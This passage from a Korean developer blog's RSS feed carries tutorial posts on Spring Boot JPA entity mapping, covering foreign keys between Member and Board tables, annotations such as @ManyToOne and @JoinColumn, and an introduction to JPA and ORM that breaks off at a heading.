&lt;tr data-end=&quot;433&quot; data-start=&quot;368&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;386&quot; data-start=&quot;368&quot;&gt;&quot;same-origin&quot;&lt;/td&gt;
&lt;td data-end=&quot;433&quot; data-start=&quot;386&quot; data-col-size=&quot;md&quot;&gt;같은 출처(Same Origin) 요청일 때만 쿠키/인증 정보 포함 (기본값)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;486&quot; data-start=&quot;434&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;448&quot; data-start=&quot;434&quot;&gt;&quot;include&quot;&lt;/td&gt;
&lt;td data-end=&quot;486&quot; data-start=&quot;448&quot; data-col-size=&quot;md&quot;&gt;&lt;b&gt;Cross-Origin 요청&lt;/b&gt;에서도 쿠키/인증 정보 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 React+vite 개발 서버 5173 포트와 Spring Boot 서버 8080 포트를 같이 사용할 때, 프론트에서 쿠키를 포함한 인증을 사용하기 위해서는 현재 설정을 필요로 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>JPA</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/26</guid>
      <comments>https://dev-jong.tistory.com/26#entry26comment</comments>
      <pubDate>Tue, 26 Aug 2025 19:03:43 +0900</pubDate>
    </item>
    <item>
      <title>[JPA] 1 : N 구조의 외래키 설정 및 Entity 구조 알아보기 (2)</title>
      <link>https://dev-jong.tistory.com/25</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이전 게시물에서는 외래키 제약조건 없이 로그인 기능에 대해서만 코드를 작성하고 예제를 연습했었는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 게시물에서는 서로 다른 테이블 간의 기본키와 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;외래키 제약조건을 설정&lt;/span&gt;하고 어떤식으로 테이블이 생성되어지고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외래키 참조에 있어서 JPA형식의 코드를 어떤식으로 작성해야하는지에 대해서 다루겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;[클래스 구조]&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. Member&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MemberApiController&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MemberService&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MemberRepository&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MemberEntity&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MemberDto&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. Board&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- BoardApiController&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- BoardService&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- BoardRepository&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- BoardEntity&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- BoardDto&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2가지의 테이블을 다루고 멤버테이블에서 MEMBER 테이블의 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;기본키(no)&lt;/span&gt;를 통해서 Board 테이블에 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;writerNo&lt;/span&gt;에 해당하는 외래키를 설정하는 방식으로 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 Member와 Board 테이블 생성 및 JPA 컨텍스트 상호작용을 위한 Entity 클래스를 살펴보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;[MemberEntity]&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1449&quot; data-origin-height=&quot;299&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqmzQI/btsPZW14Zx8/s80aP6eArmloK4kcUsHoPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqmzQI/btsPZW14Zx8/s80aP6eArmloK4kcUsHoPk/img.png&quot; data-alt=&quot;MemberEntity&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqmzQI/btsPZW14Zx8/s80aP6eArmloK4kcUsHoPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqmzQI%2FbtsPZW14Zx8%2Fs80aP6eArmloK4kcUsHoPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1449&quot; height=&quot;299&quot; data-origin-width=&quot;1449&quot; data-origin-height=&quot;299&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MemberEntity&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 MemberEntity 클래스 윗단에 작성되는 어노테이션으로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Entity&lt;/b&gt; : 해당 클래스가 JPA 형식에 있어서 이 클래스가 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;영속성 관리 대상&lt;/span&gt;임을 명시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Table&lt;/b&gt; : 매핑할 테이블 이름을 지정함 (name = &quot; ~~~ &quot; )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Getter&lt;/b&gt; : Lombok의 어노테이션으로 각 필드에 대한 자동 getter 메서드 생성을 위해서 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Setter&lt;/b&gt; : 모든 필드에 대해서 private setter 메서드를 생성해주고, 외부에서 임의로 setter 호출이 불가능하도록 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;AccessLevel.PRIVATE&lt;/span&gt;를 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;SequenceGenerator&lt;/b&gt; : &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;name&lt;/span&gt; 속성에는 JPA에서 사용할 시퀀스 제너레이터 이름, &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;sequenceName&lt;/span&gt;에는 DB에서 실제로 사용할 시퀀스 이름, &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;allocationSize&lt;/span&gt;는 시퀀스 값을 한 번씩 증가시키도록 설정 (&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;default는 50&lt;/span&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1371&quot; data-origin-height=&quot;628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bePu97/btsPZ2OOPnO/NJ1BkknrmIWxWJqQ1HB8w0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bePu97/btsPZ2OOPnO/NJ1BkknrmIWxWJqQ1HB8w0/img.png&quot; data-alt=&quot;MemberEntity 필드정의&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bePu97/btsPZ2OOPnO/NJ1BkknrmIWxWJqQ1HB8w0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbePu97%2FbtsPZ2OOPnO%2FNJ1BkknrmIWxWJqQ1HB8w0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1371&quot; height=&quot;628&quot; data-origin-width=&quot;1371&quot; data-origin-height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MemberEntity 필드정의&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;DB에 컬럼으로 들어갈 요소로 no, userId, userPwd, userNick, createAt, delYn이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 칼럼들 중에서 no의 경우에서 해당 테이블에 기본키가 되는 속성이므로&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@Id&lt;/span&gt; 어노테이션을 사용하고, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@GeneratedValue&lt;/span&gt; 어노테이션의 경우 아까 생성했던 시퀀스에 대해서 해당 컬럼에 적용하기 위한 어노테이션이다. &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;strategy&lt;/span&gt;와 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;generator&lt;/span&gt;에 전략으로 시퀀스, JPA에서의 시퀀스 제너레이터 명을 적어주면된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 필드에 대해서 위에 컬럼마다 조건을 달아주기 위해서 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@Column&lt;/span&gt; 어노테이션을 붙혀놨는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;nullable = false&lt;/span&gt;의 경우, 해당 칼럼이 not null 조건을 달아주고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;unique&lt;/span&gt;는 해당 컬럼의 값이 다른 rows 데이터와 중복되지 않도록,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;length&lt;/span&gt; 말그대로 길이에 대한 조건이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;873&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZLFrW/btsP2JzUhVM/iyaIBz8R2kw7UEkiHa4vbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZLFrW/btsP2JzUhVM/iyaIBz8R2kw7UEkiHa4vbk/img.png&quot; data-alt=&quot;MemberEntity 생성자 및 Dto -&amp;amp;gt; Entity 변환 메서드 from&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZLFrW/btsP2JzUhVM/iyaIBz8R2kw7UEkiHa4vbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZLFrW%2FbtsP2JzUhVM%2FiyaIBz8R2kw7UEkiHa4vbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;696&quot; height=&quot;564&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;873&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MemberEntity 생성자 및 Dto -&amp;gt; Entity 변환 메서드 from&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;MemberEntity 기본 생성자에서 기본적으로 Entity를 통해서 DB에 데이터가 생성되는 경우, createAt(등록일), delYn(소프트딜리트 여부) 에 대해서 default 값으로 값이 들어가야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 등록일의 경우 LocalDataTime 클래스의 now() 메서드를 통해서 등록될 때의 시간을 담아내고, delYn은 생성시 삭제되지 않았음을 표시하는 &quot;N&quot;으로 기본값을 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 from 메서드는 JPA형식의 &lt;span style=&quot;background-color: #9feec3;&quot;&gt;V - C - S - R 구조&lt;/span&gt;에서 &lt;span style=&quot;background-color: #9feec3;&quot;&gt;DTO클래스와 Entity 객체간의 데이터형 변환&lt;/span&gt;이 이루어져야하는데 매번 그때마다 서비스 클래스 등에서 setter/getter 를 사용해가며 변환하는것은 올바르지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;메서드를 미리 정의(from)&lt;/span&gt;해두고 변환이 필요한 시점에 해당 메서드를 통해서 Dto -&amp;gt; entity 로의 변환이 가능하도록 만든 메서드이다. 유효성 검사를 service에서 해도 상관없지만 다음과 같은 메서드 안에서 진행하는것도 한가지 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;[BoardEntity]&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1435&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbWA6q/btsP3dtZJUK/QbZPPhjyssQKfVfypgHlkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbWA6q/btsP3dtZJUK/QbZPPhjyssQKfVfypgHlkK/img.png&quot; data-alt=&quot;BoardEntity&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbWA6q/btsP3dtZJUK/QbZPPhjyssQKfVfypgHlkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbWA6q%2FbtsP3dtZJUK%2FQbZPPhjyssQKfVfypgHlkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1435&quot; height=&quot;290&quot; data-origin-width=&quot;1435&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardEntity&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;BoardEntity 클래스의 어노테이션이다. Setter가 필요하다면 사용하고 필요없다면 적지 않는게 외부 접근에 있어서 방지되므로 안적을 수 있다면 안적는 것이 좋다. 이외의 어노테이션은 MemberEntity에서 사용했던 기능과 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1286&quot; data-origin-height=&quot;686&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buMGEz/btsP2cClXrp/Lz7B48FlnabWFDzkSMqHdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buMGEz/btsP2cClXrp/Lz7B48FlnabWFDzkSMqHdK/img.png&quot; data-alt=&quot;BoardEntity 필드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buMGEz/btsP2cClXrp/Lz7B48FlnabWFDzkSMqHdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuMGEz%2FbtsP2cClXrp%2FLz7B48FlnabWFDzkSMqHdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;779&quot; height=&quot;416&quot; data-origin-width=&quot;1286&quot; data-origin-height=&quot;686&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardEntity 필드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;BoardEntity의 필드로 no, title, content, writer, createAt, delYn이 있으며 여기서 중요한 필드는 &lt;span style=&quot;background-color: #c1bef9;&quot;&gt;MemberEntity 데이터형의 writer 필드&lt;/span&gt;이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 필드는 &lt;span style=&quot;background-color: #c1bef9;&quot;&gt;MemberEntity의 객체 정보를 담기위한 필드&lt;/span&gt;로 &quot;작성자&quot;가 누구인지에 대한 정보가 담기는 &lt;span style=&quot;background-color: #c1bef9;&quot;&gt;MEMBER 외래키 속성&lt;/span&gt;이다. 외래키 설정과 외래키 컬럼에 대한 설정을 다루는 2가지 어노테이션에대해서 알아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@manyToOne&lt;/span&gt; : 현재 클래스(BoardEntity)를 기점으로 해당 컬럼(writer)이 N : 1 구조일 때, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;관계 매핑을 위한 어노테이션&lt;/span&gt; ( ex 3번 작성자가 10개의 글을 썻다면 10가지 글에 대해서 3번 작성자 정보가 매핑되어있음 (N : 1) 구조)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@JoinColumn&lt;/span&gt;의 경우 단순히 Column 어노테이션이 아닌 테이블 간의 조인설정에 해당하는 컬럼에 대해서 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;외래키 매핑을 설정&lt;/span&gt;할 때 사용되어짐 안에 들어가는 name 속성을 통해서 테이블 컬럼 명을 직접 지정해줄 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1360&quot; data-origin-height=&quot;752&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccmMIV/btsP1uQ4paH/gulk9or8Jv7256rgKfp8oK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccmMIV/btsP1uQ4paH/gulk9or8Jv7256rgKfp8oK/img.png&quot; data-alt=&quot;BoardEntity 속성 default 값 설정 및 dto -&amp;amp;gt; Entity 변환 메서드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccmMIV/btsP1uQ4paH/gulk9or8Jv7256rgKfp8oK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccmMIV%2FbtsP1uQ4paH%2Fgulk9or8Jv7256rgKfp8oK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;741&quot; height=&quot;410&quot; data-origin-width=&quot;1360&quot; data-origin-height=&quot;752&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardEntity 속성 default 값 설정 및 dto -&amp;gt; Entity 변환 메서드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;MemberEntity와 동일하게 createAt과 delYn에 대해서 기본 값 설정을 위해서 기본 생성자 내에서 값을 할당해주고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;from 메서드를 통해서 dto와 memberEntity를 입력받고, memberEntity를 통해서 외래키 설정된 writer 필드에 값을 할당한다. &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;writer는 할당된 memberEntity 객체에서 기본키인 유저번호 (no)를 통해서 외래키 제약조건이 적용&lt;/span&gt;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>JPA</category>
      <category>Entity</category>
      <category>Java</category>
      <category>jdbc</category>
      <category>JPA</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/25</guid>
      <comments>https://dev-jong.tistory.com/25#entry25comment</comments>
      <pubDate>Thu, 21 Aug 2025 19:25:25 +0900</pubDate>
    </item>
    <item>
      <title>[JPA] JPA란 ? (1)</title>
      <link>https://dev-jong.tistory.com/24</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;JPA (JAVA Persistence API)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;자바에서 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;객체를 데이터베이스에 저장하고 관리&lt;/span&gt;하기 위한 인터페이스와 기능을 제공하는 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;API&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JPA를 사용하면 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;객체와 관계형 데이터베이스 간의 매핑&lt;/span&gt;을 손쉽게 처리할 수 있으며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스의 CRUD 작업을 간편하게 수행이 가능해짐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;&lt;b&gt; ORM(Object-Relational Mapping)&lt;/b&gt;&lt;/span&gt;이라는 용어와 연관성이 있는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리가 일반적으로 알고있는 어플리케이션 Class 와 RDB(Relational DataBase)의 테이블을 매핑(연결)한다는 뜻으로 기술적으로 어플리케이션의 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;객체를 RDB 테이블에 자동으로 영속화(데이터가 계속 유지되도록) 해주는 것&lt;/span&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;# JPA 장점&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 생산성 (쿼리 X, &lt;b&gt;SQL 자동&lt;/b&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;유지보수 (엔티티 변경 유연)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 패러다임 불일치 해결 (상속, 연관관계, 객체 그래프, 동등비교)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;성능&lt;/b&gt; (&lt;b&gt;캐싱&lt;/b&gt;, 지연로딩)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DB 독립&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 엔티티를 영속성컨테이너에 저장할 때, &lt;b&gt;최초 상태를 복사해서 저장하는것을 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;스냅샷&lt;/span&gt;&lt;/b&gt; 이라고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[회원가입/로그인 JPA 실습해보기]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JPA의 구조는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. MemberEntity&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. MemberDto&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. MemberApiController&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. MemberService&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. MemberRepository&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. MemberEntity&lt;/h4&gt;
